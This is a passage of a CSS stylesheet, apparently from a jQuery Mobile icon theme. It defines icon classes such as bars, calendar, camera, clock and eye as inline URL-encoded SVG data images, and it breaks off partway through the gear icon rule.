url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M5%2C3V0L1%2C4l4%2C4V5c0%2C0%2C6%2C0%2C6%2C3s-5%2C4-5%2C4v2c0%2C0%2C7-1%2C7-6C13%2C4%2C8%2C3%2C5%2C3z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-bars:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M1%2C4h12c0.553%2C0%2C1-0.447%2C1-1s-0.447-1-1-1H1C0.447%2C2%2C0%2C2.447%2C0%2C3S0.447%2C4%2C1%2C4z%20M13%2C6H1%20C0.447%2C6%2C0%2C6.447%2C0%2C7c0%2C0.553%2C0.447%2C1%2C1%2C1h12c0.553%2C0%2C1-0.447%2C1-1C14%2C6.447%2C13.553%2C6%2C13%2C6z%20M13%2C10H1c-0.553%2C0-1%2C0.447-1%2C1%20s0.447%2C1%2C1%2C1h12c0.553%2C0%2C1-0.447%2C1-1S13.553%2C10%2C13%2C10z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-bullets:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M5%2C4h8c0.553%2C0%2C1-0.447%2C1-1s-0.447-1-1-1H5C4.447%2C2%2C4%2C2.447%2C4%2C3S4.447%2C4%2C5%2C4z%20M13%2C6H5%20C4.447%2C6%2C4%2C6.447%2C4%2C7c0%2C0.553%2C0.447%2C1%2C1%2C1h8c0.553%2C0%2C1-0.447%2C1-1C14%2C6.447%2C13.553%2C6%2C13%2C6z%20M13%2C10H5c-0.553%2C0-1%2C0.447-1%2C1%20s0.447%2C1%2C1%2C1h8c0.553%2C0%2C1-0.447%2C1-1S13.553%2C10%2C13%2C10z%20M1%2C2C0.447%2C2%2C0%2C2.447%2C0%2C3s0.447%2C1%2C1%2C1s1-0.447%2C1-1S1.553%2C2%2C1%2C2z%20M1%2C6%20C0.447%2C6%2C0%2C6.447%2C0%2C7c0%2C0.553%2C0.447%2C1%2C1%2C1s1-0.447%2C1-1C2%2C6.447%2C1.553%2C6%2C1%2C6z%20M1%2C10c-0.553%2C0-1%2C0.447-1%2C1s0.447%2C1%2C1%2C1s1-0.447%2C1-1%20S1.553%2C10%2C1%2C10z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-calendar:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M0%2C8h2V6H0V8z%20M3%2C8h2V6H3V8z%20M6%2C8h2V6H6V8z%20M9%2C8h2V6H9V8z%20M12%2C8h2V6h-2V8z%20M0%2C11h2V9H0V11z%20M3%2C11h2V9H3V11z%20M6%2C11h2V9H6V11z%20%20M9%2C11h2V9H9V11z%20M12%2C11h2V9h-2V11z%20M0%2C14h2v-2H0V14z%20M3%2C14h2v-2H3V14z%20M6%2C14h2v-2H6V14z%20M9%2C14h2v-2H9V14z%20M12%2C1%20c0-0.553-0.447-1-1-1s-1%2C0.447-1%2C1H4c0-0.553-0.447-1-1-1S2%2C0.447%2C2%2C1H0v4h14V1H12z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-camera:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M12%2C2.5H9.908c-0.206-0.581-0.756-1-1.408-1h-3c-0.652%2C0-1.202%2C0.419-1.408%2C1H2c-1.104%2C0-2%2C0.896-2%2C2%20v6c0%2C1.104%2C0.896%2C2%2C2%2C2h10c1.104%2C0%2C2-0.896%2C2-2v-6C14%2C3.396%2C13.104%2C2.5%2C12%2C2.5z%20M7%2C10.5c-1.657%2C0-3-1.344-3-3c0-1.657%2C1.343-3%2C3-3%20s3%2C1.343%2C3%2C3C10%2C9.156%2C8.657%2C10.5%2C7%2C10.5z%20M7%2C5.5c-1.104%2C0-2%2C0.896-2%2C2c0%2C1.104%2C0.896%2C2%2C2%2C2c1.104%2C0%2C2-0.896%2C2-2%20C9%2C6.396%2C8.104%2C5.5%2C7%2C5.5z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-carat-d:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%2211.949%2C3.404%207%2C8.354%202.05%2C3.404%20-0.071%2C5.525%207%2C12.596%2014.07%2C5.525%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-carat-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%2210.596%2C11.949%205.646%2C7%2010.596%2C2.05%208.475%2C-0.071%201.404%2C7%208.475%2C14.07%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-carat-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%223.404%2C2.051%208.354%2C7%203.404%2C11.95%205.525%2C14.07%2012.596%2C7%205.525%2C-0.071%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-carat-u:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%222.051%2C10.596%207%2C5.646%2011.95%2C10.596%2014.07%2C8.475%207%2C1.404%20-0.071%2C8.475%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-check:after, /* Used ui-checkbox-on twice to increase specificity. If active state has background-image for gradient this rule overrides. */ html .ui-btn.ui-checkbox-on.ui-checkbox-on:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%2214%2C4%2011%2C1%205.003%2C6.997%203%2C5%200%2C8%204.966%2C13%204.983%2C12.982%205%2C13%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-clock:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M7%2C0C3.134%2C0%2C0%2C3.134%2C0%2C7s3.134%2C7%2C7%2C7s7-3.134%2C7-7S10.866%2C0%2C7%2C0z%20M7%2C12c-2.762%2C0-5-2.238-5-5s2.238-5%2C5-5s5%2C2.238%2C5%2C5%20S9.762%2C12%2C7%2C12z%20M9%2C6H8V4c0-0.553-0.447-1-1-1S6%2C3.447%2C6%2C4v3c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1S9.553%2C6%2C9%2C6z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-cloud:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M14%2C9.5c0-0.793-0.465-1.473-1.134-1.795C12.949%2C7.484%2C13%2C7.249%2C13%2C7c0-1.104-0.896-2-2-2%20c-0.158%2C0-0.311%2C0.023-0.457%2C0.058C9.816%2C3.549%2C8.286%2C2.5%2C6.5%2C2.5c-2.33%2C0-4.224%2C1.777-4.454%2C4.046C0.883%2C6.76%2C0%2C7.773%2C0%2C9%20c0%2C1.381%2C1.119%2C2.5%2C2.5%2C2.5h10v-0.07C13.361%2C11.206%2C14%2C10.432%2C14%2C9.5z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-comment:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M12%2C0H2C0.896%2C0%2C0%2C0.896%2C0%2C2v7c0%2C1.104%2C0.896%2C2%2C2%2C2h1v3l3-3h6c1.104%2C0%2C2-0.896%2C2-2V2C14%2C0.896%2C13.104%2C0%2C12%2C0z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-delete:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2214%2C3%2011%2C0%207%2C4%203%2C0%200%2C3%204%2C7%200%2C11%203%2C14%207%2C10%2011%2C14%2014%2C11%2010%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-edit:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M1%2C10l-1%2C4l4-1l7-7L8%2C3L1%2C10z%20M11%2C0L9%2C2l3%2C3l2-2L11%2C0z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-eye:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M7%2C2C3%2C2%2C0%2C7%2C0%2C7s3%2C5%2C7%2C5s7-5%2C7-5S11%2C2%2C7%2C2z%20M7%2C10c-1.657%2C0-3-1.344-3-3c0-1.657%2C1.343-3%2C3-3%20s3%2C1.343%2C3%2C3C10%2C8.656%2C8.657%2C10%2C7%2C10z%20M7%2C6C6.448%2C6%2C6%2C6.447%2C6%2C7c0%2C0.553%2C0.448%2C1%2C1%2C1s1-0.447%2C1-1C8%2C6.447%2C7.552%2C6%2C7%2C6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-forbidden:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M12.601%2C11.187C13.476%2C10.018%2C14%2C8.572%2C14%2C7c0-3.866-3.134-7-7-7C5.428%2C0%2C3.982%2C0.524%2C2.813%2C1.399L2.757%2C1.343L2.053%2C2.048%20L2.048%2C2.053L1.343%2C2.758l0.056%2C0.056C0.524%2C3.982%2C0%2C5.428%2C0%2C7c0%2C3.866%2C3.134%2C7%2C7%2C7c1.572%2C0%2C3.018-0.524%2C4.187-1.399l0.056%2C0.057%20l0.705-0.705l0.005-0.005l0.705-0.705L12.601%2C11.187z%20M7%2C2c2.761%2C0%2C5%2C2.238%2C5%2C5c0%2C1.019-0.308%2C1.964-0.832%2C2.754L4.246%2C2.832%20C5.036%2C2.308%2C5.981%2C2%2C7%2C2z%20M7%2C12c-2.761%2C0-5-2.238-5-5c0-1.019%2C0.308-1.964%2C0.832-2.754l6.922%2C6.922C8.964%2C11.692%2C8.019%2C12%2C7%2C12z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-forward:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M13%2C4L9%2C0v3C6%2C3%2C1%2C4%2C1%2C8c0%2C5%2C7%2C6%2C7%2C6v-2c0%2C0-5-1-5-4s6-3%2C6-3v3L13%2C4z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-gear:after { background-image: 